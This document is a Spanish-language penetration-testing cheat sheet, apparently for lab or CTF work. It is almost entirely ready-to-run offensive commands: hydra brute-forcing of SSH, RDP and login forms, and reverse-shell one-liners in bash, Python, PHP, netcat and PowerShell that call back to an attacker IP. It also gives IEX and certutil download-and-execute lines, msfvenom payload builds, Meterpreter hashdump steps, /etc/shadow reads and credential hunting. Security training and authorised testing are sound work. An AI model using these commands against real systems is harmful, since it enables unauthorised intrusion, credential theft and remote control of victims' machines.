Escaneos básicos
nmap -sV -sC -p- <IP>
nmap -sV -sC -p- --open <IP>
nmap -p 80,443,22,21 <IP>
nmap -sU -p 161,53 <IP>
Escaneos avanzados
nmap -A -T4 <IP>
nmap -sn 192.168.1.0/24
nmap -p- -T5 <IP>
nmap --script vuln <IP>
nmap -oN resultado.txt -sV -sC <IP>
Flags clave: -sV versiones · -sC scripts default · -p- todos los puertos · -A todo · -T4/5 velocidad
Gobuster
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://<IP> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
gobuster dns -d <dominio.com> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster vhost -u http://<dominio> -w wordlist.txt --append-domain
FFUF
ffuf -u http://<IP>/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://<IP>/FUZZ -w wordlist.txt -e .php,.html,.txt -mc 200,301
ffuf -u http://<IP>/?FUZZ=valor -w wordlist.txt
Dirb / Nikto
dirb http://<IP> /usr/share/wordlists/dirb/common.txt
nikto -h http://<IP>
SSH / FTP / SMB
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://<IP>
hydra -L users.txt -P rockyou.txt ftp://<IP>
hydra -l administrator -P rockyou.txt smb://<IP>
hydra -l root -P rockyou.txt <IP> ssh -t 4
Otros protocolos
hydra -l admin -P rockyou.txt <IP> rdp
hydra -l admin -P rockyou.txt <IP> telnet
hydra -l admin -P rockyou.txt mysql://<IP>
HTTP formularios web
hydra -l admin -P rockyou.txt <IP> http-post-form '/login:user=^USER^&pass=^PASS^:Invalid'
hydra -l admin -P rockyou.txt <IP> http-get-form '/login:user=^USER^&pass=^PASS^:F=Wrong'
hydra -l admin -P rockyou.txt -s 8080 <IP> http-post-form '/login:u=^USER^&p=^PASS^:fail'
Wordlist recomendada: /usr/share/wordlists/rockyou.txt
Descomprimir primero con: gunzip rockyou.txt.gz
HTTP Python / PHP / Ruby
python3 -m http.server 80
python3 -m http.server 8080
python -m SimpleHTTPServer 80
php -S 0.0.0.0:80
ruby -run -e httpd . -p 80
FTP
python3 -m pyftpdlib -p 21 -w
python3 -m pyftpdlib --port 21 -w -u user -P pass
Netcat listener
nc -lvnp 4444
nc -lvnp 443
rlwrap nc -lvnp 4444
Enumeración SMB
smbclient -L //<IP> -N
smbclient -L //<IP> -U usuario
smbclient //<IP>/share -N
smbclient //<IP>/share -U user%pass
smbmap -H <IP>
smbmap -H <IP> -u user -p pass
enum4linux -a <IP>
crackmapexec smb <IP>
crackmapexec smb <IP> -u user -p pass --shares
Servidor SMB en Kali
impacket-smbserver share . -smb2support
impacket-smbserver share . -smb2support -username user -password pass
Comandos dentro de smbclient
ls
get archivo.txt
put archivo.txt
mget *
Linux → Kali
curl http://<KALI_IP>:80/archivo -o archivo
wget http://<KALI_IP>:80/archivo -O archivo
curl -X POST http://<KALI_IP>:80/upload -F 'file=@archivo.txt'
Netcat — Linux / Windows
nc -lvnp 4444 > archivo_recibido.txt
nc.exe -w 3 <KALI_IP> 4444 < archivo.txt
nc <KALI_IP> 4444 < archivo.txt
Windows → Kali
certutil -split -urlcache -f http://<KALI_IP>/archivo.exe archivo.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<IP>/mal.exe','mal.exe')"
powershell -c "Invoke-WebRequest -Uri http://<IP>/arch -OutFile arch"
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/script.ps1')
copy archivo.txt \\<KALI_IP>\share\
xcopy C:\Users\mario\*.txt \\<IP>\share\
Paso 1 — Obtener TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c bash
/usr/bin/script -qc /bin/bash /dev/null
Paso 2 — Mejorar TTY
Ctrl + Z
stty raw -echo; fg
reset
export TERM=xterm
export SHELL=bash
stty rows 50 columns 200
Si se rompe la terminal tras Ctrl+Z, escribe reset a ciegas y pulsa Enter
Listener — siempre primero en Kali
nc -lvnp 4444
rlwrap nc -lvnp 4444
Bash
bash -i >& /dev/tcp/<KALI_IP>/4444 0>&1
bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'
/bin/bash -i > /dev/tcp/<IP>/4444 0<&1 2>&1
Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])'
PHP
php -r '$sock=fsockopen("<IP>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("<IP>",4444);$proc=proc_open("/bin/sh",array(0=>$s,1=>$s,2=>$s),$pipes);'
Netcat
nc <KALI_IP> 4444 -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <IP> 4444 >/tmp/f
PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<IP>",4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+"PS "+(pwd).Path+"> ";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell64.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f war -o shell.war
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f elf -o shell64.elf
Web
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=4444 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=4444 -f raw -o shell.jsp
Handler Metasploit
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <TU_IP>
set LPORT 4444
run
Comandos esenciales
msfconsole
search <término>
use <módulo>
show options
set RHOSTS <IP>
set LHOST <tu_IP>
set LPORT 4444
set PAYLOAD <payload>
show payloads
run / exploit
Sesiones y Meterpreter
background
sessions -l
sessions -i 1
sysinfo
getuid
getsystem
hashdump
upload archivo /ruta/destino
download archivo /ruta/local
shell
Enumeración básica Linux
id
sudo -l
find / -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null
find / -writable 2>/dev/null
cat /etc/passwd
cat /etc/shadow
crontab -l; cat /etc/crontab
env
uname -a
Herramientas automáticas
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
wget http://<IP>/LinEnum.sh; chmod +x LinEnum.sh; ./LinEnum.sh
wget http://<IP>/lse.sh; chmod +x lse.sh; ./lse.sh
Descifrar hashes
john --wordlist=rockyou.txt hash.txt
hashcat -m 0 hash.txt rockyou.txt
hashcat -m 1000 hash.txt rockyou.txt
hashcat -m 1800 hash.txt rockyou.txt
hash-identifier
Chisel — Tunneling
chisel server --reverse -p 9000
chisel client <KALI_IP>:9000 R:8080:127.0.0.1:8080
Conexiones y puertos
netstat -tulpn
ss -tulpn
netstat -ano
curl -I http://<IP>
whatweb http://<IP>
Búsqueda de archivos
find / -name '*.txt' 2>/dev/null | grep -i pass
find / -name 'config*' 2>/dev/null
find / -name '*.php' 2>/dev/null
grep -r 'password' /var/www/ 2>/dev/null
history
cat ~/.bash_history